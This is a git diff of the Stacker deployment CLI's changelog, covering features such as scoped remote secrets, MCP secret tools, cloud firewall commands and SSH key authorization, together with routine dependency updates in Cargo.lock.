+- Added optional `config_contract` support in `stacker.yml` and
+  `stacker config check --env <name> --strict` to fail when required keys are
+  missing from an environment.
+- Added `stacker config contract suggest --env <name>` to generate a
+  reviewable `config_contract` snippet from the current inventory.
+- Added `--remote` support for `config inventory`, `config diff`, and
+  `config check`, enriching target inventories with remote service secret
+  metadata without fetching plaintext Vault values.
+- Added `stacker config promote --from <env> --to <env>` to generate safe
+  target placeholders for missing keys; secret values are not copied.
+
+### Added — App-only deploy environment selection
+
+- Added `stacker env [environment]` to show or persist the active deploy
+  environment/profile in `.stacker/active-env`.
+- `stacker agent deploy-app` and `stacker secrets push` now accept
+  `--env <environment>` / `--environment <environment>` for one-off environment
+  selection during app-only updates.
+
+### Fixed — App-local compose env files for deploy-app
+
+- `stacker agent deploy-app <app>` now reads
+  `<app>/docker/<env>/compose.yml` when that app-local compose file exists and
+  merges that app's service definition into the full project-level compose,
+  instead of replacing the remote stack compose with a single-service file.
+- App-local deploys now bundle only the target app-local config files while
+  using the project-level compose as topology, so missing env/config files for
+  unrelated services no longer block `deploy-app <app>`.
+- App-local `env_file` references are uploaded in the deploy-app config bundle,
+  and Vault-rendered service secrets for the same target are merged into the
+  matching remote `.env` file before the Status agent writes it.
+- Deploy-app command creation now fails if Stacker cannot render the target's
+  runtime env, instead of silently falling back to a stale/raw `.env` that may
+  omit Vault-backed service secrets.
+- `stacker agent deploy-app` and `stacker secrets push` now use the same
+  server-side deploy-app enrichment path when enqueueing agent commands, so
+  app-local `.env` files receive Vault-rendered service secrets during direct
+  agent pushes as well as command-create flows.
+- Missing config-bundle file errors now include the resolved path instead of a
+  bare `No such file or directory` message.
+- If an app-local `.env` exists but the selected compose service has no
+  `env_file` entry, the CLI prints a warning explaining that Docker Compose will
+  not inject local or remote-rendered env values into that container.
+
+### Added — Canonical runtime environment rendering
+
+- Remote runtime environment files now use the canonical host path
+  `/home/trydirect/project/.env`; generated compose files reference it as
+  `env_file: .env`.
+- `stacker config show --resolved` prints the local env source path, canonical
+  remote env path, compose env reference, config hash/version metadata, and
+  contributing layers without printing secret values.
+- Runtime env rendering now has deterministic precedence and hashing, rejects
+  reserved `STACKER_*`, `DOCKER_*`, `VAULT_*`, and `AGENT_*` keys, and provides
+  drift checks that require `--force` before overwriting changed remote env
+  content.
+
+### Fixed — Reuse private registry auth for agent-managed pulls
+
+- Deploy-time `deploy.registry` credentials are now stored in trusted Stacker
+  secret storage and reused for later Status-managed pulls such as
+  `stacker agent deploy-app`.
+- The Status agent now performs private-image pulls with a temporary
+  `DOCKER_CONFIG` auth context and cleans it up immediately after the pull,
+  instead of relying on host Docker login state.
+- When no stored registry auth exists, pull behavior remains backward
+  compatible: anonymous pull is attempted first and cached local images can
+  still allow the redeploy to complete with warnings.
+
+## [0.2.8] — 2026-05-12
+
+### Added — Remote service/app target secrets
+
+- `stacker secrets set --scope service --service <target>` now supports real
+  deployable service/app targets, not only the main app code. Valid targets are
+  discovered with `stacker secrets apps`.
+- Stacker.yml `services:` entries are synced as service targets while the main
+  `app:` remains the web target, so remote secrets can be scoped to support
+  services such as `upload`, `worker`, or `postgres`.
+- Image-backed services from `deploy.compose_file` are registered as service
+  targets during cloud/server deploy preparation when they can be represented
+  safely; build-only and platform-managed services are skipped with warnings.
+- Service-scoped remote secrets remain isolated per target and are rendered only
+  into the matching service; metadata APIs and CLI output still never return
+  plaintext Vault values.
+- CLI help and errors now use "deployable service/app target" wording and list
+  available targets when an unknown service code is requested.
+
+### Added — MCP remote service secret tools
+
+- Added MCP tools for the remote service secret lifecycle:
+  `list_remote_secret_targets`, `list_remote_service_secrets`,
+  `get_remote_service_secret`, `set_remote_service_secret`, and
+  `delete_remote_service_secret`.
+- MCP remote secret reads are metadata-only, match the CLI/API target model, and
+  write secret values directly to Vault without returning plaintext values.
+- All MCP tool calls now require explicit per-tool Casbin `CALL` permission under
+  `/mcp/tools/<tool_name>` before the handler executes; marketplace admin tools
+  are granted only to `group_admin`.
+- Sensitive MCP write/destructive operations, including remote secret writes and
+  deletes, additionally require a token or auth profile with verified 2FA/MFA
+  before Vault or deployment state is touched.
+
+### Added — Cloud provider firewall operations
+
+- Added `stacker cloud firewall add|remove|list` for cloud-provider firewall
+  changes that do not require SSH access to the server.
+- Added universal Stacker-to-Install-Service protocol
+  `stacker.cloud_firewall.v1` with shared firewall rule parsing reused from the
+  existing agent firewall flow.
+- Added `POST /server/{id}/cloud-firewall` and Install Service MQ routing
+  `install.firewall.{provider}.v1`; Hetzner (`htz`) is the first supported
+  provider.
+- Casbin/sqlx migration `20260717120016_casbin_cloud_firewall` grants
+  `root`, `group_admin`, and `group_user` access to modify cloud firewalls.
+
+### Added — Cloud deploy local SSH backup access
+
+- `stacker deploy --target cloud` now creates or reuses a local Ed25519 backup
+  key under the Stacker config directory and authorizes it on the deployed
+  server when possible.
+- New server API endpoint `POST /server/{id}/ssh-key/authorize-public-key`
+  accepts caller-provided public key material, validates ownership and key
+  format, then uses the server-side Vault key to append it to
+  `authorized_keys` idempotently.
+- The Vault private key is never returned to the CLI or written to local files;
+  the CLI sends only the local public key and prints a copy-paste-ready `ssh`
+  command after successful authorization.
+- `stacker ssh-key inject` remains the repair path for using an
+  already-working private key to re-add the Vault public key to a server.
+- Casbin/sqlx migration `20260717120014_casbin_server_ssh_authorize_public_key`
+  grants `group_user` and `root` access to the new authorization endpoint.
+
+### Fixed — Managed Nginx Proxy Manager duplication
+
+- Cloud/server project bodies no longer add `nginx_proxy_manager` as a project
+  app when proxy support is already managed through `extended_features`.
+- User-declared `nginx_proxy_manager` / NPM services are skipped from project app
+  sync when `proxy.type` is `nginx` or `nginx-proxy-manager`, preventing the
+  duplicate `project-nginx_proxy_manager-*` container alongside the managed NPM
+  container.
+- Server-side project app sync, compose child-service discovery, agent snapshots,
+  and deploy-app upserts now treat NPM as platform-managed so older clients or
+  stale records cannot keep re-registering it as a user app.
+- Data migration `20260717120015_cleanup_nginx_proxy_manager_project_apps`
+  removes existing stale `nginx_proxy_manager` project app rows that caused NPM
+  to remain visible after upgrading.
+- `stacker agent status` hides stale project-scoped platform containers such as
+  `project-nginx_proxy_manager-*` while still showing the managed
+  `nginx-proxy-manager` container.
+
+### Fixed — Compose public ports in cloud firewall
+
+- Cloud/server deploy now reads published ports from the resolved Compose file
+  and passes them into project metadata before invoking the installer, so
+  provider firewalls receive app ports such as Coolify's `8000:8080` instead of
+  the generic custom-app fallback `8080`.
+
+### Fixed — Deployment IP persistence on paused/failed installs
+
+- Cloud/server deploy status handling now extracts a server IP from installer
+  progress messages such as `178.104.222.170: Copy files is done` when the
+  structured server record has not populated `srv_ip` yet.
+- The CLI saves that fallback IP into the local deployment context, and the MQ
+  listener persists the IP server-side so paused or failed deployments still
+  retain a usable host address for SSH repair and retry workflows.
+
+### Changed — Agent proxy SSL control
+
+- `stacker agent configure-proxy` now supports `--no-ssl` to create or update a
+  plain HTTP Nginx Proxy Manager host without requesting a Let's Encrypt
+  certificate.
+
+### Changed — Server bootstrap SSH key handling
+
+- `stacker deploy --target server` now treats a user-provided `deploy.server.ssh_key` as a
+  **transient bootstrap credential** for first SSH contact only.
+- Stacker now persists only a **Stacker-managed generated deploy key** in Vault for ongoing
+  server-side automation and later redeploys.
+- The user-provided bootstrap key is still sent for the live bootstrap run, but it is no longer
+  stored as the server's long-term key material on the Stacker side.
+
+### Added — Local Pipe Mode
+
+- **`stacker target [local|cloud|server]`** — switch deployment target mode; persists in `.stacker/active-target`
+- **Local pipe creation** — `stacker pipe create` works without a cloud deployment (`deployment_hash` is now optional, `is_local` flag on PipeInstance/PipeExecution)
+- **Local scanning** — `stacker pipe scan` now performs local endpoint/resource discovery on matched containers instead of only listing Docker inventory
+- **Explicit scan modes** — `stacker pipe scan --containers [FILTER]` for local container discovery + probing and `stacker pipe scan --app <APP> [--container <NAME>]` for remote endpoint probing
+- **Local triggering** — `stacker pipe trigger` executes via `docker exec` / HTTP against local containers
+- **`stacker pipe deploy <id> --deployment <hash>`** — promote a local pipe to a remote deployment (clones config to new remote instance)
+- **`GET /api/v1/pipes/instances/local`** — list local pipe instances for the authenticated user
+- **`POST /api/v1/pipes/instances/{id}/deploy`** — deploy (promote) local pipe to remote
+- **`stacker init --target local`** — initialize project in local mode directly
+- Database migration: `deployment_hash` nullable, `is_local BOOLEAN DEFAULT FALSE`, partial index on local instances
+
+### Added — Canonical runtime environment rendering
+
+- Remote runtime environment files now use the canonical host path
+  `/home/trydirect/project/.env`; generated compose files reference it as
+  `env_file: .env`.
+- `stacker config show --resolved` prints the local env source path, canonical
+  remote env path, compose env reference, config hash/version metadata, and
+  contributing layers without printing secret values.
+- Runtime env rendering now has deterministic precedence and hashing, rejects
+  reserved `STACKER_*`, `DOCKER_*`, `VAULT_*`, and `AGENT_*` keys, and provides
+  drift checks that require `--force` before overwriting changed remote env
+  content.
+
+### Fixed — App-local compose env files for deploy-app
+
+- `stacker agent deploy-app <app>` now reads
+  `<app>/docker/<env>/compose.yml` when that app-local compose file exists and
+  merges that app's service definition into the full project-level compose,
+  instead of replacing the remote stack compose with a single-service file.
+- App-local deploys now bundle only the target app-local config files while
+  using the project-level compose as topology, so missing env/config files for
+  unrelated services no longer block `deploy-app <app>`.
+- Deploy-app now preserves the shared project `.env` in the config bundle when
+  the selected runtime topology uses root `env_file: .env`.
+- App-local `env_file` references are uploaded in the deploy-app config bundle,
+  and Vault-rendered service secrets for the same target are merged into the
+  matching remote `.env` file before the Status agent writes it.
+- Deploy-app command creation now fails if Stacker cannot render the target's
+  runtime env, instead of silently falling back to a stale/raw `.env` that may
+  omit Vault-backed service secrets.
+- Missing config-bundle file errors now include the resolved path instead of a
+  bare `No such file or directory` message.
+- If an app-local `.env` exists but the selected compose service has no
+  `env_file` entry, the CLI prints a warning explaining that Docker Compose will
+  not inject local or remote-rendered env values into that container.
+
+### Fixed — Reuse private registry auth for agent-managed pulls
+
+- Deploy-time `deploy.registry` credentials are now stored in trusted Stacker
+  secret storage and reused for later Status-managed pulls such as
+  `stacker agent deploy-app`.
+- The Status agent now performs private-image pulls with a temporary
+  `DOCKER_CONFIG` auth context and cleans it up immediately after the pull,
+  instead of relying on host Docker login state.
+- When no stored registry auth exists, pull behavior remains backward
+  compatible: anonymous pull is attempted first and cached local images can
+  still allow the redeploy to complete with warnings.
+
 ## [0.2.7] — 2026-04-10
 
 ### Security — IDOR Hardening & Test Coverage
@@ -31,6 +364,8 @@ All notable changes to this project will be documented in this file.
 - Local deploys no longer overwrite cloud/server connection details
 - Existing `deployment.lock` files automatically migrated on read
 
+## [0.2.6] — 2026-04-08
+
 ### Added — Kata Containers Runtime Support
 
 - `runtime` field on `deploy_app` and `deploy_with_configs` agent commands — values: `runc` (default), `kata`
@@ -63,8 +398,6 @@ All notable changes to this project will be documented in this file.
 - REST API: `POST/GET/DELETE /api/v1/pipes/templates` and `/instances`
 - Data contracts with validation for probe_endpoints command parameters and results
 
-## [0.2.6] — 2026-03-17
-
 ### Added — Marketplace Developer & Buyer Flows
 
 - New `stacker submit` command — packages the current stack and submits to marketplace for review
@@ -78,6 +411,8 @@ All notable changes to this project will be documented in this file.
 - `GET /api/v1/marketplace/download/{purchase_token}` — serves stack archive
 - `POST /api/v1/marketplace/agents/register` — agent self-registration endpoint
 
+## [0.2.6] — 2026-03-11
+
 ### Added — Firewall (iptables) Management
 
 - New MCP tools for configuring iptables firewall rules on remote servers:
@@ -385,6 +720,7 @@ stacker init --with-ai  # no Ollama running → template fallback
 #### REST API Routes (`/project/{id}/apps/*`)
 - `GET /project/{id}/apps` - List all apps for a project
 - `GET /project/{id}/apps/{code}` - Get single app details
+- `DELETE /project/{id}/apps/{code}` - Delete a saved app from a project
 - `GET /project/{id}/apps/{code}/config` - Get full app configuration
 - `GET /project/{id}/apps/{code}/env` - Get environment variables (sensitive values redacted)
 - `PUT /project/{id}/apps/{code}/env` - Update environment variables
@@ -471,4 +807,3 @@ stacker init --with-ai  # no Ollama running → template fallback
 
 ### Fixed
 - Status panel command updates query uses explicit bindings to avoid SQLx type inference errors.
-
diff --git a/Cargo.lock b/Cargo.lock
index dc382334..db3d7dda 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -58,19 +58,42 @@ dependencies = [
 
 [[package]]
 name = "actix-cors"
-version = "0.6.5"
+version = "0.7.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0346d8c1f762b41b458ed3145eea914966bb9ad20b9be0d6d463b20d45586370"
+checksum = "daa239b93927be1ff123eebada5a3ff23e89f0124ccb8609234e5103d5a5ae6d"
 dependencies = [
  "actix-utils",
  "actix-web",
- "derive_more 0.99.20",
+ "derive_more",
  "futures-util",
  "log",
  "once_cell",
  "smallvec",
 ]
 
+[[package]]
+name = "actix-files"
+version = "0.6.10"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "df8c4f30e3272d7c345f88ae0aac3848507ef5ba871f9cc2a41c8085a0f0523b"
+dependencies = [
+ "actix-http",
+ "actix-service",
+ "actix-utils",
+ "actix-web",
+ "bitflags 2.11.0",
+ "bytes",
+ "derive_more",
+ "futures-core",
+ "http-range",
+ "log",
+ "mime",
+ "mime_guess",
+ "percent-encoding",
+ "pin-project-lite",
+ "v_htmlescape",
+]
+
 [[package]]
 name = "actix-http"
 version = "3.12.0"
@@ -86,7 +109,7 @@ dependencies = [
  "brotli 8.0.2",
  "bytes",
  "bytestring",
- "derive_more 2.1.1",
+ "derive_more",
  "encoding_rs",
  "flate2",
  "foldhash",
@@ -201,7 +224,7 @@ dependencies = [
  "bytestring",
  "cfg-if",
  "cookie",
- "derive_more 2.1.1",
+ "derive_more",
  "encoding_rs",
  "foldhash",
  "futures-core",
@@ -282,6 +305,16 @@ dependencies = [
  "generic-array 0.14.7",
 ]
 
+[[package]]
+name = "aead"
+version = "0.6.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1973cfbc1a2daf9cf550e74e1f088c28e7f7d8c1e1418fb6c9dc5184b7e84c99"
+dependencies = [
+ "crypto-common 0.2.2",
+ "inout 0.2.2",
+]
+
 [[package]]
 name = "aes"
 version = "0.8.4"
@@ -289,22 +322,49 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0"
 dependencies = [
  "cfg-if",
- "cipher",
+ "cipher 0.4.4",
  "cpufeatures 0.2.17",
 ]
 
+[[package]]
+name = "aes"
+version = "0.9.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f1fc76eaeac4c9164506c466d4ffdd8ec9d0c5bf57ee97177c4d8eceb3a0e138"
+dependencies = [
+ "cipher 0.5.2",
+ "cpubits",
+ "cpufeatures 0.3.0",
+ "zeroize",
+]
+
 [[package]]
 name = "aes-gcm"
 version = "0.10.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "831010a0f742e1209b3bcea8fab6a8e149051ba6099432c8cb2cc117dec3ead1"
 dependencies = [
- "aead",
- "aes",
- "cipher",
- "ctr",
- "ghash",
+ "aead 0.5.2",
+ "aes 0.8.4",
+ "cipher 0.4.4",
+ "ctr 0.9.2",
+ "ghash 0.5.1",
+ "subtle",
+]
+
+[[package]]
+name = "aes-gcm"
+version = "0.11.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fdf011db2e21ce0d575593d749db5554b47fed37aff429e4dc50bc91ac93a028"
+dependencies = [
+ "aead 0.6.1",
+ "aes 0.9.1",
+ "cipher 0.5.2",
+ "ctr 0.10.1",
+ "ghash 0.6.0",
  "subtle",
+ "zeroize",
 ]
 
 [[package]]
@@ -372,7 +432,7 @@ dependencies = [
  "amq-protocol-types",
  "amq-protocol-uri",
  "cookie-factory",
- "nom",
+ "nom 7.1.3",
  "serde",
 ]
 
@@ -394,7 +454,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "bf99351d92a161c61ec6ecb213bc7057f5b837dd4e64ba6cb6491358efd770c4"
 dependencies = [
  "cookie-factory",
- "nom",
+ "nom 7.1.3",
  "serde",
  "serde_json",
 ]
@@ -486,13 +546,13 @@ dependencies = [
 
 [[package]]
 name = "argon2"
-version = "0.5.3"
+version = "0.6.0-rc.8"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3c3610892ee6e0cbce8ae2700349fcf8f98adb0dbfbee85aec3c9179d29cc072"
+checksum = "7af50940b73bf4e16c15c448a2b121c63f2d68e3e54b6a8731673cb4aa0cdff5"
 dependencies = [
  "base64ct",
  "blake2",
- "cpufeatures 0.2.17",
+ "cpufeatures 0.3.0",
  "password-hash",
 ]
 
@@ -505,7 +565,7 @@ dependencies = [
  "asn1-rs-derive",
  "asn1-rs-impl",
  "displaydoc",
- "nom",
+ "nom 7.1.3",
  "num-traits",
  "rusticata-macros",
  "thiserror 2.0.18",
@@ -560,6 +620,16 @@ dependencies = [
  "wait-timeout",
 ]
 
+[[package]]
+name = "async-attributes"
+version = "1.1.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a3203e79f4dd9bdda415ed03cf14dae5a2bf775c683a00f94e9cd1faf0f596e5"
+dependencies = [
+ "quote",
+ "syn 1.0.109",
+]
+
 [[package]]
 name = "async-channel"
 version = "1.9.0"
@@ -583,6 +653,18 @@ dependencies = [
  "pin-project-lite",
 ]
 
+[[package]]
+name = "async-compression"
+version = "0.4.42"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e79b3f8a79cccc2898f31920fc69f304859b3bd567490f75ebf51ae1c792a9ac"
+dependencies = [
+ "compression-codecs",
+ "compression-core",
+ "futures-io",
+ "pin-project-lite",
+]
+
 [[package]]
 name = "async-executor"
 version = "1.14.0"
@@ -597,6 +679,21 @@ dependencies = [
  "slab",
 ]
 
+[[package]]
+name = "async-global-executor"
+version = "2.4.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "05b1b633a2115cd122d73b955eadd9916c18c8f510ec9cd1686404c60ad1c29c"
+dependencies = [
+ "async-channel 2.5.0",
+ "async-executor",
+ "async-io 2.6.0",
+ "async-lock 3.4.2",
+ "blocking",
+ "futures-lite 2.6.1",
+ "once_cell",
+]
+
 [[package]]
 name = "async-global-executor"
 version = "3.1.0"
@@ -617,11 +714,34 @@ version = "2.2.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "9af57045d58eeb1f7060e7025a1631cbc6399e0a1d10ad6735b3d0ea7f8346ce"
 dependencies = [
- "async-global-executor",
+ "async-global-executor 3.1.0",
  "async-trait",
  "executor-trait",
 ]
 
+[[package]]
+name = "async-imap"
+version = "0.11.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a78dceaba06f029d8f4d7df20addd4b7370a30206e3926267ecda2915b0f3f66"
+dependencies = [
+ "async-channel 2.5.0",
+ "async-compression",
+ "async-std",
+ "base64 0.22.1",
+ "bytes",
+ "chrono",
+ "futures",
+ "imap-proto",
+ "log",
+ "nom 7.1.3",
+ "pin-project",
+ "pin-utils",
+ "self_cell",
+ "stop-token",
+ "thiserror 1.0.69",
+]
+
 [[package]]
 name = "async-io"
 version = "1.13.0"
@@ -680,6 +800,52 @@ dependencies = [
  "pin-project-lite",
 ]
 
+[[package]]
+name = "async-native-tls"
+version = "0.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9343dc5acf07e79ff82d0c37899f079db3534d99f189a1837c8e549c99405bec"
+dependencies = [
+ "futures-util",
+ "native-tls",
+ "thiserror 1.0.69",
+ "url",
+]
+
+[[package]]
+name = "async-pop"
+version = "1.1.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "70d4a64316619f24aff5ef0b2c67986bfa2e414fa5aa3f4c86feda8f8f6f326f"
+dependencies = [
+ "async-native-tls",
+ "async-std",
+ "async-trait",
+ "base64 0.21.7",
+ "bytes",
+ "futures",
+ "log",
+ "nom 7.1.3",
+]
+
+[[package]]
+name = "async-process"
+version = "2.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fc50921ec0055cdd8a16de48773bfeec5c972598674347252c0399676be7da75"
+dependencies = [
+ "async-channel 2.5.0",
+ "async-io 2.6.0",
+ "async-lock 3.4.2",
+ "async-signal",
+ "async-task",
+ "blocking",
+ "cfg-if",
+ "event-listener 5.4.1",
+ "futures-lite 2.6.1",
+ "rustix 1.1.4",
+]
+
 [[package]]
 name = "async-reactor-trait"
 version = "1.1.0"
@@ -692,6 +858,74 @@ dependencies = [
  "reactor-trait",
 ]
 
+[[package]]
+name = "async-signal"
+version = "0.2.14"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "52b5aaafa020cf5053a01f2a60e8ff5dccf550f0f77ec54a4e47285ac2bab485"
+dependencies = [
+ "async-io 2.6.0",
+ "async-lock 3.4.2",
+ "atomic-waker",
+ "cfg-if",
+ "futures-core",
+ "futures-io",
+ "rustix 1.1.4",
+ "signal-hook-registry",
+ "slab",
+ "windows-sys 0.61.2",
+]
+
+[[package]]
+name = "async-std"
+version = "1.13.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2c8e079a4ab67ae52b7403632e4618815d6db36d2a010cfe41b02c1b1578f93b"
+dependencies = [
+ "async-attributes",
+ "async-channel 1.9.0",
+ "async-global-executor 2.4.1",
+ "async-io 2.6.0",
+ "async-lock 3.4.2",
+ "async-process",
+ "crossbeam-utils",
+ "futures-channel",
+ "futures-core",
+ "futures-io",
+ "futures-lite 2.6.1",
+ "gloo-timers",
+ "kv-log-macro",
+ "log",
+ "memchr",
+ "once_cell",
+ "pin-project-lite",
+ "pin-utils",
+ "slab",
+ "wasm-bindgen-futures",
+]
+
+[[package]]
+name = "async-stream"
+version = "0.3.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0b5a71a6f37880a80d1d7f19efd781e4b5de42c88f0722cc13bcb6cc2cfe8476"
+dependencies = [
+ "async-stream-impl",
+ "futures-core",
+ "pin-project-lite",
+]
+
+[[package]]
+name = "async-stream-impl"
+version = "0.3.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c7c24de15d275a1ecfd47a380fb4d5ec9bfe0933f309ed5e705b775596a3574d"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.117",
+]
+
 [[package]]
 name = "async-task"
 version = "4.7.1"
@@ -753,6 +987,51 @@ dependencies = [
  "fs_extra",
 ]
 
+[[package]]
+name = "axum"
+version = "0.6.20"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3b829e4e32b91e643de6eafe82b1d90675f5874230191a4ffbc1b336dec4d6bf"
+dependencies = [
+ "async-trait",
+ "axum-core",
+ "bitflags 1.3.2",
+ "bytes",
+ "futures-util",
+ "http 0.2.12",
+ "http-body 0.4.6",
+ "hyper 0.14.32",
+ "itoa",
+ "matchit",
+ "memchr",
+ "mime",
+ "percent-encoding",
+ "pin-project-lite",
+ "rustversion",
+ "serde",
+ "sync_wrapper",
+ "tower",
+ "tower-layer",
+ "tower-service",
+]
+
+[[package]]
+name = "axum-core"
+version = "0.3.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "759fa577a247914fd3f7f76d62972792636412fbfd634cd452f6a385a74d2d2c"
+dependencies = [
+ "async-trait",
+ "bytes",
+ "futures-util",
+ "http 0.2.12",
+ "http-body 0.4.6",
+ "mime",
+ "rustversion",
+ "tower-layer",
+ "tower-service",
+]
+
 [[package]]
 name = "backon"
 version = "1.6.0"
@@ -800,13 +1079,13 @@ checksum = "2af50177e190e07a26ab74f8b1efbfe2ef87da2116221318cb1c2e82baf7de06"
 
 [[package]]
 name = "bcrypt-pbkdf"
-version = "0.10.0"
+version = "0.11.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6aeac2e1fe888769f34f05ac343bbef98b14d1ffb292ab69d4608b3abc86f2a2"
+checksum = "144e573728da132683b9488acd528274c790e07fc06ff81ee29f9d8f8b1041e0"
 dependencies = [
  "blowfish",
- "pbkdf2",
- "sha2 0.10.9",
+ "pbkdf2 0.13.0",
+ "sha2 0.11.0",
 ]
 
 [[package]]
@@ -826,11 +1105,11 @@ dependencies = [
 
 [[package]]
 name = "blake2"
-version = "0.10.6"
+version = "0.11.0-rc.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "46502ad458c9a52b69d4d4d32775c788b7a1b85e8bc9d482d92250fc0e3f8efe"
+checksum = "061f1a09225e328e1ffbb378d2d49923c0ca5fee19fb5ac1cc9c1e9d52b93690"
 dependencies = [
- "digest 0.10.7",
+ "digest 0.11.2",
 ]
 
 [[package]]
@@ -849,6 +1128,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "cdd35008169921d80bc60d3d0ab416eecb028c4cd653352907921d95084790be"
 dependencies = [
  "hybrid-array",
+ "zeroize",
 ]
 
 [[package]]
@@ -860,6 +1140,15 @@ dependencies = [
  "generic-array 0.14.7",
 ]
 
+[[package]]
+name = "block-padding"
+version = "0.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "710f1dd022ef4e93f8a438b4ba958de7f64308434fa6a87104481645cc30068b"
+dependencies = [
+ "hybrid-array",
+]
+
 [[package]]
 name = "blocking"
 version = "1.6.2"
@@ -875,12 +1164,12 @@ dependencies = [
 
 [[package]]
 name = "blowfish"
-version = "0.9.1"
+version = "0.10.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e412e2cd0f2b2d93e02543ceae7917b3c70331573df19ee046bcbc35e45e87d7"
+checksum = "62ce3946557b35e71d1bbe07ec385073ce9eda05043f95de134eb578fcf1a298"
 dependencies = [
  "byteorder",
- "cipher",
+ "cipher 0.5.2",
 ]
 
 [[package]]
@@ -1038,7 +1327,16 @@ version = "0.1.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "26b52a9543ae338f279b96b0b9fed9c8093744685043739079ce85cd58f289a6"
 dependencies = [
- "cipher",
+ "cipher 0.4.4",
+]
+
+[[package]]
+name = "cbc"
+version = "0.2.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ce2dc9ee5f88d11e0beb842c88b33c8a5cf0d1329c4b19494af42b07dbfe8896"
+dependencies = [
+ "cipher 0.5.2",
 ]
 
 [[package]]
@@ -1067,13 +1365,25 @@ checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724"
 
 [[package]]
 name = "chacha20"
-version = "0.9.1"
+version = "0.10.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c3613f74bd2eac03dad61bd53dbe620703d4371614fe0bc3b9f04dd36fe4e818"
+checksum = "d524456ba66e72eb8b115ff89e01e497f8e6d11d78b70b1aa13c0fbd97540a81"
 dependencies = [
  "cfg-if",
- "cipher",
- "cpufeatures 0.2.17",
+ "cipher 0.5.2",
+ "cpufeatures 0.3.0",
+ "rand_core 0.10.1",
+ "zeroize",
+]
+
+[[package]]
+name = "charset"
+version = "0.1.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f1f927b07c74ba84c7e5fe4db2baeb3e996ab2688992e39ac68ce3220a677c7e"
+dependencies = [
+ "base64 0.22.1",
+ "encoding_rs",
 ]
 
 [[package]]
@@ -1119,7 +1429,19 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
 dependencies = [
  "crypto-common 0.1.7",
- "inout",
+ "inout 0.1.4",
+]
+
+[[package]]
+name = "cipher"
+version = "0.5.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e8cf2a2c93cd704877c0858356ed03480ff301ee950b43f1cbe4573b088bfa6c"
+dependencies = [
+ "block-buffer 0.12.0",
+ "crypto-common 0.2.2",
+ "inout 0.2.2",
+ "zeroize",
 ]
 
 [[package]]
@@ -1142,6 +1464,7 @@ dependencies = [
  "anstyle",
  "clap_lex",
  "strsim 0.11.1",
+ "terminal_size",
 ]
 
 [[package]]
@@ -1182,9 +1505,9 @@ dependencies = [
 
 [[package]]
 name = "cmov"
-version = "0.5.0-pre.0"
+version = "0.5.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5417da527aa9bf6a1e10a781231effd1edd3ee82f27d5f8529ac9b279babce96"
+checksum = "0c9ea0ac24bc397ab3c98583a3c9ba74fa56b09a4449bbe172b9b1ddb016027a"
 
 [[package]]
 name = "cms"
@@ -1228,7 +1551,23 @@ dependencies = [
 ]
 
 [[package]]
-name = "concurrent-queue"
+name = "compression-codecs"
+version = "0.4.38"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ce2548391e9c1929c21bf6aa2680af86fe4c1b33e6cea9ac1cfeec0bd11218cf"
+dependencies = [
+ "compression-core",
+ "flate2",
+]
+
+[[package]]
+name = "compression-core"
+version = "0.4.32"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cc14f565cf027a105f7a44ccf9e5b424348421a1d8952a8fc9d499d313107789"
+
+[[package]]
+name = "concurrent-queue"
 version = "2.5.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "4ca0197aee26d1ae37445ee532fefce43251d24cc7c166799f4d46817f1d3973"
@@ -1245,7 +1584,7 @@ dependencies = [
  "async-trait",
  "json5",
  "lazy_static",
- "nom",
+ "nom 7.1.3",
  "pathdiff",
  "ron",
  "rust-ini",
@@ -1268,6 +1607,18 @@ dependencies = [
  "windows-sys 0.59.0",
 ]
 
+[[package]]
+name = "console"
+version = "0.16.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
